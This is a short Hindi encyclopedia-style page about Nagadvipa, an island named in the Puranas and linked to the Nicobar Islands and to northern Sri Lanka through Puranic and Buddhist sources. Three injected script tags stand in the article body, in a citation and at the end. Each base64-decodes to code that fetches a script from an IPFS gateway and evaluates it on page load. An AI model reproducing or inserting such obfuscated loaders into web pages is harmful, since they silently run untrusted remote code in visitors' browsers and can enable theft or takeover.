नागद्वीप
भारत डिस्कवरी प्रस्तुति
नागद्वीप पुराणों में वर्णित एक द्वीप का नाम है। कुछ विद्वानों के मत में इसका अभिज्ञान बंगाल की खाड़ी में स्थित निकोबार द्वीपसमूह के साथ किया जा सकता है।[1]
- वासुदेव शरण अग्रवाल के अनुसार उपर्युक्त उपकल्पना की पुष्टि 'बलहस्स जातक' से भी होती है।[2]
- मत्स्यपुराण में भारतवर्ष के नौ भेद बताये गए हैं, जो इस प्रकार हैं-
- इन्द्रद्वीप
- कसेरू
- ताम्रपर्णी
- गभस्तिमान्
- नागद्वीप
- सौम्य
- गन्धर्व
- वारूण
- सागर
- बौद्ध ग्रंथ महावंश 1, 47 तथा 20, 24 में भी नागद्वीप का वर्णन श्रीलंका के उत्तर-पश्चिमी भाग के रूप में है। पहले उल्लेख के अनुसार गौतम बुद्ध भारत से नागद्वीप आए थे।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 485 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ जर्नल ऑफ़ दि बिहार एंड उड़ीसा रिसर्च सोसाइटी, पटना, 23, 1.
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>